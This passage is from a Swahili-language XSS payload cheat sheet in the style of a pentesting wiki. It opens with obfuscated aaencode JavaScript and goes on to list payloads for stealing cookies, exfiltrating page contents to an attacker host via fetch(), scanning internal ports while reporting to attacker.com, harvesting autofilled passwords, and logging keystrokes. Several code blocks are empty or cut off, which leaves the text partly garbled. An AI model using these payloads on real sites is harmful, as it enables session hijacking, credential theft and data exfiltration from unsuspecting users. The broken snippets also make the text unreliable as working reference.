[ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS mizigo ya kawaida ### Mzigo wa mizigo kadhaa {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Pata Vidakuzi ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Hutaweza **kupata upatikanaji wa vidakuzi kutoka JavaScript** ikiwa bendera ya HTTPOnly imewekwa kwenye kuki. Lakini hapa una [njia kadhaa za kuzidisha ulinzi huu](../hacking-with-cookies/#httponly) ikiwa una bahati ya kutosha. {% endhint %} ### Pora Yaliyomo ya Ukurasa ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Pata IPs za ndani ```html ``` ### Scanner ya Bandari (pata) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Scanner ya Bandari (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Kupata Ujazo wa Maneno ya Siri kiotomatiki ```javascript Username:
Password:
``` Wakati wowote data yoyote inawekwa kwenye uga wa nenosiri, jina la mtumiaji na nenosiri hutumwa kwa seva ya mshambuliaji, hata kama mteja anachagua nenosiri lililohifadhiwa na hawajaandika chochote, maelezo ya kuingia yatachukuliwa. ### Keylogger Kwa kutafuta tu kwenye github nilipata kadhaa tofauti: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Unaweza pia kutumia metasploit `http_javascript_keylogger` ### Kuiba vitambulisho vya CSRF ```javascript ``` ### Kuiba ujumbe wa PostMessage ```markup ``` ### Kudhuru Wafanyakazi wa Huduma {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Kupata Shadow DOM {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Polyglots {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Mzigo wa Blind XSS Unaweza pia kutumia: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">